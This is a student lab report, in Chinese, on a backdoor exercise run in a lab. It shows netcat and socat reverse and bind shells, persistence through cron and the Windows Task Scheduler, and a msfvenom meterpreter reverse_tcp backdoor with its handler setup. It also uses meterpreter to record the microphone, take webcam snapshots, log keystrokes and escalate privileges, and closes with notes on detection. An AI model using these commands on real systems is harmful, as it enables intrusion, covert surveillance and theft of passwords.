实验一:使用netcat获取主机操作Shell,cron启动
1.Windows获得Linux Shell
(1)打开本机win10的cmd.exe,使用命令 ipconfig 查看win10的IP地址。
(2)并用命令 ncat.exe -l -p 监听本机的4311端口,等待
(3)启动虚拟机,在kali上面打开一个终端,并输入 nc 192.168.1.108 -e /bin/sh 连接win10。
(4)win10获得linux的shell,可执行linux指令,比如ls。
2.Linux获得Windows Shell
(1)与上面第一个步骤类似,唯一需要注意的地方是指令改成 ifconfig 以此来查询IP地址,并监听4311端口。
(2)win10使用 ncat.exe -e cmd.exe 192.168.215.128 (需要注意的是在使用该指令之前,要进入ncat文件夹所在的目录)
(3)同理,在Linux下可以使用win10中的指令
3.nc传输数据
(1)win10监听本地4311端口 ncat.exe -l ,再用kali连接该win10端口 nc 192.168.1.108 ,然后从任意一方输入的字符串都能同时在win10方和Linux方显示。
4.nc定时启动
此时需要用到Crontab指令,该指令是用来定时执行脚本用的。
(1)win10使用命令 ncat.exe -l -p 监听本地的4311端口
(2)Crontab指令增加一条定时任务,并在提示编辑器的页面中选择我们熟悉的vi编辑器,点击i进入编辑模式。因为我操作的时间是5分这样,所以就把其设定为每小时的第6分钟执行指令,这样就可以较快的执行这段指令。
(3)使用指令 crontab -l 查看并核对其所配置的指令的正确性,确认完毕,在第6分钟,win10获得了Linux的shell,可以执行Linux的相关命令。
实验二:使用socat获取主机操作Shell, 任务计划启动
(1)在Windows系统下,打开:控制面板->系统和安全->管理工具->任务计划程序,在操作选项(菜单栏)中,选择“创建任务”,填写任务名称011,之后,新建触发器,选择开始任务时间为:工作站锁定时
(2)新建操作,选择启动的程序为socat.exe,参数项填为:tcp-listen:4311 exec:cmd.exe,pty.stderr。这一段话的意思是把cmd绑定到端口号上,再把cmd.exe的stderr重定向到stdout上。
(3)操作完成后,将主机锁屏,激活启动程序,并打开正在运行任务的查看窗口,再次确认是否运行。
(4)在kali终端输入指令 socat -tcp:192.168.1.108: ,此时获得了win10的shell
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(1)输入指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.215.128 LPORT= -f exe > 011_backdoor.exe
(2)使用指令将生成的后门程序传送到win10主机上,首先win10要调到准备接收的状态 ncat.exe -lv > 011_backdoor.exe ,然后再在kali上输入相关命令进行传输(注意在此之前需要安装以下ncat指令) ncat -nv 192.168.1.108 < 011_backdoor.exe
(3)在kali上输入命令 msfconsole ,并进行相关配置
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp //设置载荷,字面意思应该是基于TCP的反向连接反弹windows shell show options //查看利用模块的设置信息 set LHOST 192.168.215.128 //接下来的两个set是配置模块的设置信息,这里是设置kali的IP set LPORT //设置本主机的端口 show options //再次查看一下options,确保设置正确 exploit //运行模块
(4)在以为一切都顺利并启动模块的时候,发现TCP连接并没有成功开启,而且程序无法运行,查询了一下,个人认为应该是在win10中无法运行由Linux传过来的x86架构的文件,随后我在一开始的环节中输入了如下指令 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.215.128 LPORT= -f exe > 011_backdoor.exe ,并再次启动模块,启动成功!
(5)可以看到,Linux可以使用win10的相关命令。
任务四: 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(1)在Linux中输入 record_mic 命令截获一段音频
(2)使用命令 webcam_snap 指令使用摄像头
(3)在linux中输入命令 keyscan_star 指令记录键盘输入记录并用 keyscan_dump 读取键盘的输入指令
(4)在linux中输入 getuid 指令查看当前用户,再输入 getsystem 进行提权(需要注意的是:提权必须以管理员的身份运行后门程序)
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:使用不安全的浏览器上网时,点开某个网页会自动在后台下载后门程序;下载不正规软件是,后门程序和软件捆绑被下载;通过u盘或者硬盘人为植入。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:win:通过命令行执行;在开机启动项中,开机自动运行;双击程序运行。
Linux:crontab定时执行脚本。
(3)Meterpreter有哪些给你影响深刻的功能?
答:键盘的追踪记录。这个就意味着你所有使用电脑进行的键盘操作都会被记录下来,甚至包括你的支付宝密码以及银行密码。相比于照相功能和录音功能,这个功能是可以直接产生经济损失的。
(4)如何发现自己有系统有没有被安装后门?
答:首先是防火墙的开启,在做实验的过程中可以看到,在防火墙开启的状态下,后门程序是无法运行的;安装杀毒软件,同样在实验中,开启杀毒软件可以直接对传入的后门程序进行识别,并当作木马予以清除;但是由于老师提到过免杀,所以我觉得还有必要时常查看任务管理器,对未知的程序进行甄别并判断是否删除。
实验问题总结
本次实验由于一开始就关掉了杀软以及防火墙,所以没有遇到后门程序被查杀或者文件丢失造成的错误,但通过看群里的提问以及自己遇到的问题,我发现很多人包括有一个共性问题,就是系统不支持x86架构的后门程序,此时需要改成64位的程序,具体操作就是在指令msfvenom -p windows后面打上/x64即可。其他方面,由于相较于实验一,没有那么多底层逻辑的理解,对于监听端口等简单操作之前就有所掌握,而唯一没听说过的反弹连接也是较为简单的。但是本实验几乎没有可实践在现实的余地,因为只要有防火墙,后门程序便无法运行,有杀软,则传来的后门程序将会被当做木马查杀。所以比较期待下次的免杀相关的实验。